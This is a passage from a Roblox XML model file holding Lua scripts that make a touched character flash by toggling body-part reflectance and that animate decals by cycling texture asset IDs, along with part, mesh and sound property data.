part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(2)

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(1)


wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0


	end
	end

end

script.Parent.Touched:connect(onTouched)
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX93">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">37uaea2t</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX94">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">eyhz</string>
						<float name="Pitch">1</float>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="Part" referent="RBX95">
				<Properties>
					<bool name="Anchored">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">1003</int>
					<CoordinateFrame name="CFrame">
						<X>-8.19999981</X>
						<Y>12.6000004</Y>
						<Z>30.5</Z>
						<R00>-0</R00>
						<R01>-1</R01>
						<R02>0</R02>
						<R10>-0</R10>
						<R11>-0</R11>
						<R12>1</R12>
						<R20>-1</R20>
						<R21>-0</R21>
						<R22>0</R22>
					</CoordinateFrame>
					<bool name="CanCollide">false</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Infected</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">9</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>5</X>
						<Y>0.400000006</Y>
						<Z>2</Z>
					</Vector3>
				</Properties>
				<Item class="Script" referent="RBX96">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">w=.03
d=script.Parent.Decal
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX97">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">udcr5c0u3</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX98">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">w=.03
d=script.Parent.Decal2
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX99">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">iyfy2r</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Decal" referent="RBX100">
					<Properties>
						<token name="Face">1</token>
						<string name="Name">Decal</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX101">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">9sim</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Decal" referent="RBX102">
					<Properties>
						<token name="Face">4</token>
						<string name="Name">Decal2</string>
						<float name="Shiny">20</float>
						<float name="Specular">0</float>
						<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX103">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">ejg7aef</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="BlockMesh" referent="RBX104">
					<Properties>
						<float name="Bevel">0</float>
						<float name="Bevel Roundness">0</float>
						<float name="Bulge">0</float>
						<token name="LODX">2</token>
						<token name="LODY">2</token>
						<string name="Name">Mesh</string>
						<Vector3 name="Offset">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="Scale">
							<X>1</X>
							<Y>0</Y>
							<Z>5</Z>
						</Vector3>
						<Vector3 name="VertexColor">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX105">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">vh4np</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Script" referent="RBX106">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">function stick(x, y)
	weld = Instance.new(&quot;Weld&quot;) 

	weld.Part0 = x
	weld.Part1 = y

	local HitPos = x.Position

	local CJ = CFrame.new(HitPos) 
	local C0 = x.CFrame:inverse() *CJ 
	local C1 = y.CFrame:inverse() * CJ 

	weld.C0 = C0 
	weld.C1 = C1 
	
	weld.Parent = x
end

function onTouched(part)
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
	if h~=nil then
wait(0.001)h.Health = 100
children = h.Parent:children()

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
